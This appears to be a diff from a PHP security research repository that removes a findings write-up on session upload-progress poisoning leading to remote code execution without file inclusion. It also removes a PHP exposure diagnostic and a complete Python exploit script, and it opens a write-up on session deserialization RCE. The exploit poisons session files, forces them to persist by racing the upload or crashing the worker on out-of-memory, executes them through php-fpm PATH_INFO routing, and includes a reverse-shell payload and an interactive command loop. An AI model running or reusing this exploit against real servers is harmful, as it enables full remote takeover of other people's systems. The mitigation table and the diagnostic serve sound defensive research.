was **not verified** here; for redis-style handlers a CRLF-capable SID is
|
||||
protocol injection, which is a separate research thread.
|
||||
|
||||
## Part 2: what works — php-fpm consumes the file itself
|
||||
|
||||
The no-LFI consumer is not PHP code, it is the **request router**:
|
||||
|
||||
1. **The poison does not need the application.** The rfc1867 callback runs
|
||||
inside the SAPI POST reader, before script dispatch. A multipart POST to a
|
||||
URL whose script does not exist (fpm answers 404) still writes the poisoned
|
||||
session file. Verified: POST to `/nonexistent.php` → file written. This
|
||||
means *any* PHP-handled vhost URL is a valid injection endpoint.
|
||||
|
||||
2. **If `session.save_path` is web-served, the file is fetchable over HTTP.**
|
||||
`sess_<SID>` has no extension (SID charset has no dot), so a default php-fpm
|
||||
refuses it: `Access denied.` from `security.limit_extensions` (verified).
|
||||
But with **`security.limit_extensions` empty** — a very common production
|
||||
setting — the classic nginx `cgi.fix_pathinfo` route executes it:
|
||||
|
||||
GET /sessions/sess_<SID>/x.php?c=id
|
||||
|
||||
nginx matches `location ~ \.php$` on the URI, resolves the longest existing
|
||||
prefix as the script, and fpm executes the extensionless session file with
|
||||
`PATH_INFO=/x.php`.
|
||||
|
||||
Verified end-to-end against php-fpm 8.5.11: the session file
|
||||
`upload_progress_<?php system($_GET["c"]); ?>|a:5:{...}` executed and
|
||||
returned `uid=1000(...)`. Both limit_extensions states tested.
|
||||
|
||||
3. **Persistence vs the race.** With `session.upload_progress.cleanup=1`
|
||||
(default) the file is truncated at `MULTIPART_EVENT_END`. Persistence
|
||||
options:
|
||||
- `cleanup=0` — file persists with `done=1`; no race needed.
|
||||
- **Streaming request bodies** (Apache mod_php, nginx
|
||||
`fastcgi_request_buffering off`, lighttpd, direct fpm exposure): the
|
||||
write lands at `MULTIPART_EVENT_FILE_START` and the window lasts as long
|
||||
as the upload is dripped. Verified: slow FCGI drip, execution request hit
|
||||
during the window on the first poll.
|
||||
- **Buffering stacks** (nginx default): the whole body arrives, then fpm
|
||||
parses; the window is only the parse time — measured ~16 ms for a 7 MB
|
||||
body. Detection may land, follow-up commands usually miss. Not reliable.
|
||||
- **CVE-2026-109618 OOM bailout** — deterministic: the field flood OOMs the
|
||||
parser, `zend_bailout` longjmps past `MULTIPART_EVENT_END`, cleanup never
|
||||
runs, and the poisoned file persists. Requires the OOM body to fit under
|
||||
`post_max_size` while exceeding `memory_limit` headroom (i.e.
|
||||
`memory_limit <` flood volume `< post_max_size`). Verified: 17 MB flood
|
||||
against `memory_limit=16M`, `post_max_size=64M` → worker died, file
|
||||
persisted, pathinfo execution returned command output.
|
||||
|
||||
## Exploit
|
||||
|
||||
`exploit_nolfi.py` implements the chain with auto-detection:
|
||||
|
||||
- `--probe` classifies each candidate URL prefix: not served / served only
|
||||
(source disclosure) / fully executable.
|
||||
- Default mode poisons + races the upload window while polling execution
|
||||
vectors (`/x.php`, `/index.php`, `/a.phar`, `/x.phtml`), then falls back to
|
||||
calm execution if the file persisted.
|
||||
- `--oom` switches persistence to the CVE-2026-109618 bailout (tune with
|
||||
`--fields` / `--fsize`).
|
||||
|
||||
## Updated mitigation matrix
|
||||
|
||||
| Mitigation | Race | RLIMIT | /proc/fd | served-path (this) |
|
||||
|---|---|---|---|---|
|
||||
| PHP 8.4.27 patch alone | FAIL | FAIL | FAIL | FAIL |
|
||||
| + `upload_progress=0` | OK | OK | FAIL | FAIL (poison gone, but /proc/fd-style upload temp files unaffected) |
|
||||
| + `hidepid=2` on /proc | FAIL | FAIL | OK | FAIL |
|
||||
| + limit_extensions=`.php .phar` | — | — | — | OK |
|
||||
| + save_path outside docroot / not served | — | — | — | OK |
|
||||
| Fix the LFI | OK | OK | OK | **FAIL** |
|
||||
|
||||
"Fix the LFI" no longer closes the bug class: the served-path chain needs no
|
||||
application file-inclusion at all.
|
||||
|
||||
## Recommendations (additions to the existing list)
|
||||
|
||||
5. Set `security.limit_extensions = .php .phar` explicitly in every fpm pool
|
||||
(do not leave it empty).
|
||||
6. Keep `session.save_path` outside any web-served tree; audit for alias or
|
||||
`location` blocks that expose it.
|
||||
7. Keep `cgi.fix_pathinfo=0` where the application does not need PATH_INFO.
|
||||
|
||||
## Test log (local rig)
|
||||
|
||||
- php-fpm 8.5.11 (source build), session.save_path under a docroot served by
|
||||
an nginx-equivalent gateway (static files + `location ~ \.php$` +
|
||||
fix_pathinfo semantics).
|
||||
- `cleanup=0` + empty limit_extensions: poison → served detection → pathinfo
|
||||
exec → interactive command loop. Confirmed RCE.
|
||||
- `cleanup=1` + empty limit_extensions + streaming FCGI drip: execution hit
|
||||
during upload window on first poll. Confirmed RCE.
|
||||
- `cleanup=1` + OOM flood (17 MB, memory_limit=16M): worker bailout, file
|
||||
persisted, exec confirmed. Confirmed RCE.
|
||||
- `cleanup=1` + nginx-style buffered body: ~16 ms window at 7 MB; detection
|
||||
frequently succeeds, sustained command execution unreliable. Documented.
|
||||
- `security.limit_extensions=.php .phar` (default): all execution attempts
|
||||
blocked with "Access denied". Confirmed mitigation.
|
||||
- Session deserialization injection (`|` in progress key): 0-byte file,
|
||||
no unserialization. Confirmed dead end.
|
||||
@@ -1,56 +0,0 @@
|
||||
<?php
|
||||
// Deployment diagnostic for the no-LFI session attack surface.
|
||||
// Drop on the target, request once, then REMOVE it.
|
||||
//
|
||||
// Reports whether the two preconditions of the served-path chain hold:
|
||||
// 1. session.save_path is inside (or aliased to) a web-served tree
|
||||
// 2. security.limit_extensions is empty (fpm would execute
|
||||
// extensionless session files via PATH_INFO)
|
||||
|
||||
header('Content-Type: text/plain');
|
||||
|
||||
$sp = session_save_path();
|
||||
if ($sp === '') {
|
||||
$sp = sys_get_temp_dir();
|
||||
}
|
||||
// strip the optional "N;/path" depth prefix
|
||||
if (($p = strrchr($sp, ';')) !== false) {
|
||||
$sp = substr($p, 1);
|
||||
}
|
||||
$doc = rtrim($_SERVER['DOCUMENT_ROOT'] ?? '', '/');
|
||||
$real_sp = realpath($sp) ?: $sp;
|
||||
$real_doc = realpath($doc) ?: $doc;
|
||||
|
||||
$under_doc = ($real_doc !== '' && strncmp($real_sp, $real_doc, strlen($real_doc)) === 0);
|
||||
$le = ini_get('security.limit_extensions');
|
||||
$sapi = php_sapi_name();
|
||||
|
||||
echo "sapi = {$sapi}\n";
|
||||
echo "session.save_path = {$sp}\n";
|
||||
echo "DOCUMENT_ROOT = {$doc}\n";
|
||||
echo "save_path under docroot = " . var_export($under_doc, true) . "\n";
|
||||
echo "security.limit_extensions = [" . $le . "]\n";
|
||||
echo "upload_progress.enabled = " . ini_get('session.upload_progress.enabled') . "\n";
|
||||
echo "upload_progress.cleanup = " . ini_get('session.upload_progress.cleanup') . "\n";
|
||||
echo "memory_limit = " . ini_get('memory_limit') . "\n";
|
||||
echo "post_max_size = " . ini_get('post_max_size') . "\n";
|
||||
echo "open_basedir = [" . ini_get('open_basedir') . "]\n";
|
||||
|
||||
$verdict = array();
|
||||
if (ini_get('session.upload_progress.enabled')) {
|
||||
if ($under_doc) {
|
||||
$verdict[] = "save_path is web-served: session files are requestable";
|
||||
}
|
||||
if ($sapi === 'fpm-fcgi' && trim($le) === '') {
|
||||
$verdict[] = "limit_extensions empty: extensionless session files EXECUTE via PATH_INFO";
|
||||
}
|
||||
}
|
||||
if ($verdict) {
|
||||
echo "\nEXPOSED:\n";
|
||||
foreach ($verdict as $v) {
|
||||
echo " - {$v}\n";
|
||||
}
|
||||
echo "\nSee nolfi/FINDINGS.md. Set security.limit_extensions and move save_path.\n";
|
||||
} else {
|
||||
echo "\nNo served-path exposure detected.\n";
|
||||
}
|
||||
@@ -1,590 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
CVE-2026-109618 / CVE-2026-109619 — RCE WITHOUT LFI
|
||||
("served save_path" chain)
|
||||
|
||||
Every other exploit in this repo needs an include() primitive in the
|
||||
application to execute the poisoned session file. This one does not.
|
||||
It turns the session upload progress write primitive into RCE using only
|
||||
PHP-FPM request routing:
|
||||
|
||||
1. PHP_SESSION_UPLOAD_PROGRESS writes PHP code into
|
||||
<save_path>/sess_<SID> during multipart parsing. This fires even on
|
||||
URLs that do not exist (404), because rfc1867 processing happens in
|
||||
the SAPI POST reader before script dispatch. No session_start(),
|
||||
no application code involved.
|
||||
|
||||
2. If session.save_path lives under a web-served directory, the session
|
||||
file is directly requestable over HTTP.
|
||||
|
||||
3. php-fpm executes the (extension-less) session file when the request
|
||||
carries PATH_INFO, e.g. GET /sessions/sess_abc123/x.php
|
||||
— the classic nginx cgi.fix_pathinfo routing. The only gate is
|
||||
security.limit_extensions, whose compiled default (.php .phar) blocks
|
||||
it but which is frequently set empty in real deployments. Verified
|
||||
both ways against php-fpm 8.5 (see nolfi/FINDINGS.md).
|
||||
|
||||
4. session.upload_progress.cleanup=1 (default) truncates the file when
|
||||
the upload finishes, so execution is raced against the upload window
|
||||
with a slow multipart body. With cleanup=0 the file persists and no
|
||||
race is needed.
|
||||
|
||||
Preconditions (all defaults unless noted):
|
||||
- session.upload_progress.enabled=1
|
||||
- PHP-FPM with session.save_path web-served
|
||||
- security.limit_extensions empty (non-default; common in the wild)
|
||||
- any PHP-handled URL on the vhost, including 404s
|
||||
|
||||
Usage:
|
||||
python3 exploit_nolfi.py -t http://target/ --probe
|
||||
python3 exploit_nolfi.py -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
python3 exploit_nolfi.py -t http://target/ --url-prefix /tmp --lhost 10.0.0.1 --lport 4444
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import io
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import threading
|
||||
import time
|
||||
|
||||
MARKER = "NOLFIMARK"
|
||||
|
||||
DEFAULT_URL_PREFIXES = [
|
||||
"/sessions",
|
||||
"/tmp",
|
||||
"/var/lib/php/sessions",
|
||||
"/var/lib/php/session",
|
||||
"/var/lib/php5/sessions",
|
||||
"/sess",
|
||||
"/storage/sessions",
|
||||
"/files/sessions",
|
||||
]
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# HTTP helpers (raw sockets, same style as the other exploits)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def _parse_url(url: str):
|
||||
from urllib.parse import urlparse
|
||||
p = urlparse(url)
|
||||
tls = p.scheme == "https"
|
||||
host = p.hostname or "127.0.0.1"
|
||||
port = p.port or (443 if tls else 80)
|
||||
path = p.path or "/"
|
||||
if p.query:
|
||||
path += "?" + p.query
|
||||
return host, port, tls, path
|
||||
|
||||
|
||||
def _connect(host, port, tls, timeout=10):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def _recv_response(sock, timeout=5):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
chunk = sock.recv(8192)
|
||||
if not chunk:
|
||||
break
|
||||
resp += chunk
|
||||
if b"\r\n\r\n" in resp:
|
||||
hdr_end = resp.index(b"\r\n\r\n") + 4
|
||||
m = re.search(rb"Content-Length:\s*(\d+)", resp[:hdr_end], re.I)
|
||||
if m:
|
||||
cl = int(m.group(1))
|
||||
while len(resp) - hdr_end < cl:
|
||||
more = sock.recv(8192)
|
||||
if not more:
|
||||
break
|
||||
resp += more
|
||||
break
|
||||
if b"transfer-encoding: chunked" in resp[:hdr_end].lower():
|
||||
if b"\r\n0\r\n" in resp[hdr_end:]:
|
||||
break
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def _decode_chunked(data):
|
||||
out = b""
|
||||
while data:
|
||||
line_end = data.find(b"\r\n")
|
||||
if line_end < 0:
|
||||
break
|
||||
try:
|
||||
n = int(data[:line_end].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if n == 0:
|
||||
break
|
||||
out += data[line_end + 2:line_end + 2 + n]
|
||||
data = data[line_end + 2 + n + 2:]
|
||||
return out
|
||||
|
||||
|
||||
def _body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return b""
|
||||
headers, body = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in headers.lower():
|
||||
return _decode_chunked(body)
|
||||
return body
|
||||
|
||||
|
||||
def _status_of(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return 0
|
||||
|
||||
|
||||
def _get(host, port, tls, path, cookie=None, timeout=5, keepalive=False):
|
||||
sock = _connect(host, port, tls)
|
||||
req = b"GET " + path.encode() + b" HTTP/1.1\r\nHost: " + host.encode() + b"\r\n"
|
||||
if cookie:
|
||||
req += b"Cookie: " + cookie.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = _recv_response(sock, timeout)
|
||||
sock.close()
|
||||
return _status_of(resp), _body_of(resp)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Multipart slow upload (keeps the poisoned session file on disk)
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def slow_poison_upload(host, port, tls, path, sid, php_code, fill=6 << 20,
|
||||
drip=0.01, result=None):
|
||||
boundary = b"----NOLFI" + os.urandom(6).hex().encode()
|
||||
head = (
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"\r\n'
|
||||
b"\r\n" + php_code + b"\r\n"
|
||||
b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
)
|
||||
tail = b"\r\n--" + boundary + b"--\r\n"
|
||||
total = len(head) + fill + len(tail)
|
||||
|
||||
try:
|
||||
sock = _connect(host, port, tls, timeout=60)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||
b"Content-Length: " + str(total).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n" + head
|
||||
)
|
||||
block = b"\x00" * 65000
|
||||
for _ in range(fill // len(block)):
|
||||
sock.sendall(block)
|
||||
time.sleep(drip)
|
||||
sock.sendall(tail)
|
||||
_recv_response(sock, timeout=5)
|
||||
sock.close()
|
||||
except OSError as e:
|
||||
if result is not None:
|
||||
result["error"] = str(e)
|
||||
|
||||
|
||||
def oom_poison_upload(host, port, tls, path, sid, php_code, fields=30000,
|
||||
fsize=512, result=None):
|
||||
"""CVE-2026-109618 OOM variant: progress + file part + field flood.
|
||||
|
||||
The OOM bailout longjmps past MULTIPART_EVENT_END, so cleanup never
|
||||
runs and the poisoned session file persists. Requires the OOM body
|
||||
to fit under post_max_size while exceeding memory_limit headroom.
|
||||
"""
|
||||
boundary = b"----NOLFIOOM" + os.urandom(6).hex().encode()
|
||||
|
||||
def field(name, value):
|
||||
return (b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n\r\n'
|
||||
+ value + b"\r\n")
|
||||
|
||||
def file_part():
|
||||
return (b"--" + boundary + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="f"; filename="a.bin"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n\r\n"
|
||||
+ b"\x00" * 2048 + b"\r\n")
|
||||
|
||||
def chunk(sock, data):
|
||||
sock.sendall(hex(len(data))[2:].encode() + b"\r\n" + data + b"\r\n")
|
||||
|
||||
sent = 0
|
||||
try:
|
||||
sock = _connect(host, port, tls, timeout=60)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + boundary + b"\r\n"
|
||||
b"Transfer-Encoding: chunked\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
chunk(sock, field(b"PHP_SESSION_UPLOAD_PROGRESS", php_code))
|
||||
chunk(sock, file_part())
|
||||
batch = b""
|
||||
for i in range(fields):
|
||||
batch += field(f"p{i:06d}".encode(), b"X" * fsize)
|
||||
if len(batch) >= 256 * 1024:
|
||||
chunk(sock, batch)
|
||||
sent = i
|
||||
batch = b""
|
||||
if batch:
|
||||
chunk(sock, batch)
|
||||
try:
|
||||
sock.sendall(b"0\r\n\r\n")
|
||||
_recv_response(sock, timeout=8)
|
||||
except OSError:
|
||||
pass
|
||||
sock.close()
|
||||
except OSError as e:
|
||||
if result is not None:
|
||||
result["error"] = str(e)
|
||||
if result is not None:
|
||||
result["fields_sent"] = sent
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Payloads
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def cmd_payload():
|
||||
return f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||
|
||||
|
||||
def reverse_shell_payload(lhost, lport):
|
||||
code = (
|
||||
f'$s=fsockopen("{lhost}",{lport});'
|
||||
f'proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'
|
||||
)
|
||||
return f'<?php echo "{MARKER}:"; {code} ?>'.encode()
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Chain: poison -> probe served dir -> pathinfo execution
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def attempt_prefix(host, port, tls, path, url_prefix, php_code, window,
|
||||
fill=1 << 25, verbose=True, oom=False, fields=30000,
|
||||
fsize=512):
|
||||
"""One attempt against one URL prefix. Returns
|
||||
("rce", sid, url, text) | ("served", sid, url, None) | None."""
|
||||
sid = "".join(chr(97 + (os.urandom(1)[0] % 26)) for _ in range(8)) + \
|
||||
os.urandom(12).hex()
|
||||
sess_url = f"{url_prefix}/sess_{sid}"
|
||||
cookie = f"PHPSESSID={sid}"
|
||||
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||
|
||||
if oom:
|
||||
result = {}
|
||||
if verbose:
|
||||
print(f" [*] OOM poisoning {sess_url} ...")
|
||||
oom_poison_upload(host, port, tls, path, sid, php_code,
|
||||
fields=fields, fsize=fsize, result=result)
|
||||
time.sleep(1.0)
|
||||
saw_static = False
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||
timeout=5)
|
||||
if status == 200 and b"upload_progress_" in body:
|
||||
saw_static = True
|
||||
if verbose:
|
||||
print(f" [+] {sess_url} web-served, file persisted "
|
||||
f"(OOM bailout skipped cleanup)")
|
||||
except OSError:
|
||||
pass
|
||||
if saw_static:
|
||||
for path_info in exec_vectors:
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url + path_info,
|
||||
timeout=6)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
return ("rce", sid, sess_url + path_info, text)
|
||||
except OSError:
|
||||
continue
|
||||
return ("served", sid, sess_url, None)
|
||||
if verbose and result.get("error"):
|
||||
print(f" [!] upload error: {result['error']}")
|
||||
return None
|
||||
|
||||
result = {}
|
||||
t = threading.Thread(target=slow_poison_upload,
|
||||
args=(host, port, tls, path, sid, php_code),
|
||||
kwargs={"result": result, "fill": fill}, daemon=True)
|
||||
t.start()
|
||||
time.sleep(0.5)
|
||||
|
||||
deadline = time.time() + window
|
||||
saw_static = False
|
||||
exec_vectors = ("/x.php", "/index.php", "/a.phar", "/x.phtml")
|
||||
while time.time() < deadline:
|
||||
# execution vectors first, raced against the (possibly tiny) window
|
||||
for path_info in exec_vectors:
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url + path_info,
|
||||
timeout=3)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
return ("rce", sid, sess_url + path_info, text)
|
||||
except OSError:
|
||||
continue
|
||||
# static: served-dir detection (source disclosure of the session file)
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url, cookie=None,
|
||||
timeout=3)
|
||||
if status == 200 and b"upload_progress_" in body:
|
||||
saw_static = True
|
||||
if verbose:
|
||||
print(f" [+] {sess_url} is web-served "
|
||||
f"(session file source disclosed)")
|
||||
break
|
||||
except OSError:
|
||||
pass
|
||||
time.sleep(0.005)
|
||||
|
||||
t.join(timeout=3)
|
||||
|
||||
# post-window calm checks: streaming stacks with cleanup=0 keep the file
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url, cookie=None, timeout=3)
|
||||
if status == 200 and b"upload_progress_" in body:
|
||||
saw_static = True
|
||||
if verbose:
|
||||
print(f" [+] {sess_url} is web-served (file persisted "
|
||||
f"after upload: cleanup=0)")
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if saw_static:
|
||||
for path_info in exec_vectors:
|
||||
try:
|
||||
status, body = _get(host, port, tls, sess_url + path_info,
|
||||
timeout=4)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
return ("rce", sid, sess_url + path_info, text)
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
if saw_static:
|
||||
return ("served", sid, sess_url, None)
|
||||
return None
|
||||
|
||||
|
||||
def run_cmd(host, port, tls, path, url_prefix, sid, cmd, oom=False,
|
||||
fields=30000, fsize=512):
|
||||
"""Re-poison the same SID and execute a command during the window."""
|
||||
sess_url = f"{url_prefix}/sess_{sid}"
|
||||
payload = f'<?php echo "{MARKER}:"; system($_GET["c"]); ?>'.encode()
|
||||
hit = {}
|
||||
lock = threading.Lock()
|
||||
|
||||
def poll(pi):
|
||||
while True:
|
||||
if stop.is_set():
|
||||
return
|
||||
try:
|
||||
status, body = _get(host, port, tls,
|
||||
sess_url + pi + "?c=" + cmd.replace(" ", "+"),
|
||||
timeout=6)
|
||||
text = body.decode(errors="replace")
|
||||
if MARKER in text:
|
||||
with lock:
|
||||
if "out" not in hit:
|
||||
out = text.split(MARKER + ":", 1)[1]
|
||||
hit["out"] = out.split(
|
||||
'|a:5:{s:10:"start_time"', 1)[0]
|
||||
stop.set()
|
||||
return
|
||||
except OSError:
|
||||
continue
|
||||
|
||||
if oom:
|
||||
result = {}
|
||||
oom_poison_upload(host, port, tls, path, sid, payload,
|
||||
fields=fields, fsize=fsize, result=result)
|
||||
stop = threading.Event()
|
||||
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||
for pi in ("/x.php", "/index.php")]
|
||||
for th in threads:
|
||||
th.start()
|
||||
for th in threads:
|
||||
th.join(timeout=10)
|
||||
return hit.get("out")
|
||||
|
||||
result = {}
|
||||
for cycle in range(3 if not oom else 1):
|
||||
t = threading.Thread(target=slow_poison_upload,
|
||||
args=(host, port, tls, path, sid, payload),
|
||||
kwargs={"result": result}, daemon=True)
|
||||
t.start()
|
||||
time.sleep(0.3)
|
||||
stop = threading.Event()
|
||||
threads = [threading.Thread(target=poll, args=(pi,), daemon=True)
|
||||
for pi in ("/x.php", "/index.php", "/a.phar", "/x.phtml")]
|
||||
for th in threads:
|
||||
th.start()
|
||||
grace = None
|
||||
while True:
|
||||
if stop.is_set():
|
||||
break
|
||||
if not t.is_alive():
|
||||
if grace is None:
|
||||
grace = time.time() + 1.5
|
||||
elif time.time() > grace:
|
||||
break
|
||||
time.sleep(0.002)
|
||||
stop.set()
|
||||
for th in threads:
|
||||
th.join(timeout=3)
|
||||
if "out" in hit:
|
||||
return hit["out"]
|
||||
return None
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Main
|
||||
# ---------------------------------------------------------------------------
|
||||
|
||||
def main():
|
||||
p = argparse.ArgumentParser(
|
||||
description="CVE-2026-109618/109619: RCE without LFI "
|
||||
"(web-served session.save_path + php-fpm pathinfo)",
|
||||
formatter_class=argparse.RawDescriptionHelpFormatter,
|
||||
epilog="""
|
||||
Examples:
|
||||
%(prog)s -t http://target/ --probe
|
||||
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id'
|
||||
%(prog)s -t http://target/ --url-prefix /sessions --lhost 10.0.0.1 --lport 4444
|
||||
%(prog)s -t http://target/ --url-prefix /sessions --cmd 'id' --window 20
|
||||
""")
|
||||
p.add_argument("--target", "-t", required=True,
|
||||
help="Target base URL (any PHP-handled URL on the vhost, "
|
||||
"404 is fine)")
|
||||
p.add_argument("--url-prefix", default="",
|
||||
help="URL prefix that serves session.save_path "
|
||||
"(e.g. /sessions). Probes defaults if omitted")
|
||||
p.add_argument("--cmd", help="Command to execute")
|
||||
p.add_argument("--lhost", help="Listener IP for reverse shell")
|
||||
p.add_argument("--lport", type=int, help="Listener port for reverse shell")
|
||||
p.add_argument("--window", type=float, default=12.0,
|
||||
help="Upload race window in seconds (default 12)")
|
||||
p.add_argument("--fill", type=int, default=6, help="Upload filler size "
|
||||
"in MB; must stay under the target post_max_size (default "
|
||||
"6MB, PHP default post_max_size is 8M)")
|
||||
p.add_argument("--probe", action="store_true",
|
||||
help="Only classify the target, do not attack")
|
||||
p.add_argument("--oom", action="store_true",
|
||||
help="Use the CVE-2026-109618 OOM bailout for "
|
||||
"persistence instead of racing the upload window "
|
||||
"(requires post_max_size > OOM volume and memory "
|
||||
"headroom)")
|
||||
p.add_argument("--fields", type=int, default=30000,
|
||||
help="OOM pressure fields (default 30000)")
|
||||
p.add_argument("--fsize", type=int, default=512,
|
||||
help="OOM field size in bytes (default 512)")
|
||||
p.add_argument("--attempts", type=int, default=3)
|
||||
args = p.parse_args()
|
||||
|
||||
host, port, tls, path = _parse_url(args.target)
|
||||
scheme = "https" if tls else "http"
|
||||
|
||||
print(f"[*] RCE without LFI — served save_path + fpm pathinfo")
|
||||
print(f"[*] Target: {args.target}")
|
||||
|
||||
prefixes = [args.url_prefix] if args.url_prefix else list(DEFAULT_URL_PREFIXES)
|
||||
fill = args.fill * (1 << 20)
|
||||
if args.probe:
|
||||
php_code = cmd_payload()
|
||||
print(f"[*] Probing {len(prefixes)} candidate URL prefixes "
|
||||
f"(web-served session dir detection)")
|
||||
for prefix in prefixes:
|
||||
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||
window=args.window, fill=fill, verbose=True,
|
||||
oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
if r is None:
|
||||
print(f" [-] {prefix}: not served")
|
||||
else:
|
||||
kind, sid, url, text = r
|
||||
if kind == "rce":
|
||||
print(f" [++] {prefix}: EXECUTABLE — {url}")
|
||||
else:
|
||||
print(f" [+] {prefix}: served, not executable "
|
||||
f"(limit_extensions default or non-fpm engine)")
|
||||
return
|
||||
|
||||
if not args.cmd and not (args.lhost and args.lport):
|
||||
print("[!] Specify --probe, --cmd, or --lhost/--lport")
|
||||
sys.exit(1)
|
||||
|
||||
php_code = (cmd_payload() if args.cmd
|
||||
else reverse_shell_payload(args.lhost, args.lport))
|
||||
if args.oom:
|
||||
print(f"[*] Mode: OOM persistence ({args.fields} x {args.fsize}B "
|
||||
f"fields)")
|
||||
else:
|
||||
print(f"[*] Race window: {args.window}s per prefix, "
|
||||
f"{len(prefixes)} prefixes")
|
||||
|
||||
for attempt in range(1, args.attempts + 1):
|
||||
for prefix in prefixes:
|
||||
print(f"[*] Attempt {attempt}/{args.attempts} "
|
||||
f"against {prefix} ...")
|
||||
r = attempt_prefix(host, port, tls, path, prefix, php_code,
|
||||
window=args.window, fill=fill, verbose=True,
|
||||
oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
if r is None:
|
||||
continue
|
||||
kind, sid, url, text = r
|
||||
if kind == "rce":
|
||||
print(f"\n[+] RCE CONFIRMED (no LFI): {url}")
|
||||
if args.cmd:
|
||||
out = run_cmd(host, port, tls, path, prefix, sid,
|
||||
args.cmd, oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
print(f"[+] {args.cmd}\n{out}" if out is not None
|
||||
else "[!] exec failed (race lost, retry)")
|
||||
else:
|
||||
print(f"[*] Reverse shell payload executed — check "
|
||||
f"listener on {args.lhost}:{args.lport}")
|
||||
while True:
|
||||
try:
|
||||
c = input("shell> ").strip()
|
||||
except EOFError:
|
||||
break
|
||||
if not c:
|
||||
continue
|
||||
out = run_cmd(host, port, tls, path, prefix, sid, c,
|
||||
oom=args.oom, fields=args.fields,
|
||||
fsize=args.fsize)
|
||||
print(out if out is not None else "[!] exec failed")
|
||||
return
|
||||
print(f" [+] {prefix}: served but not executable "
|
||||
f"(session source disclosure only)")
|
||||
print("[!] No executable prefix found. Precondition likely missing: "
|
||||
"save_path not web-served, or security.limit_extensions is set.")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,3 +0,0 @@
|
||||
vendor/
|
||||
__pycache__/
|
||||
composer.lock
|
||||
@@ -1,237 +0,0 @@
|
||||
# Session Deserialization RCE via Handler Mismatch
|
||||
|
||||
Remote code execution through PHP's `session.serialize_handler` mismatch.
|
||||
No LFI required. No FPM dependency. Works on any SAPI.
|
||||
|
||||
## How It Works
|
||||
|
||||
PHP supports multiple session serialization formats. The two relevant ones:
|
||||
|
||||
- `php` (the default): stores session data as `key|serialized_value`
|
||||
- `php_serialize`: stores session data as a single `serialize()`d array
|
||||
|
||||
When one endpoint writes session data using `php_serialize` and another
|
||||
reads it using the `php` handler, the pipe character `|` inside a
|
||||
serialized string is misinterpreted as a key/value delimiter. This causes
|
||||
PHP to call `unserialize()` on attacker-controlled data when
|
||||
`session_start()` runs on the second endpoint.
|
||||
|
||||
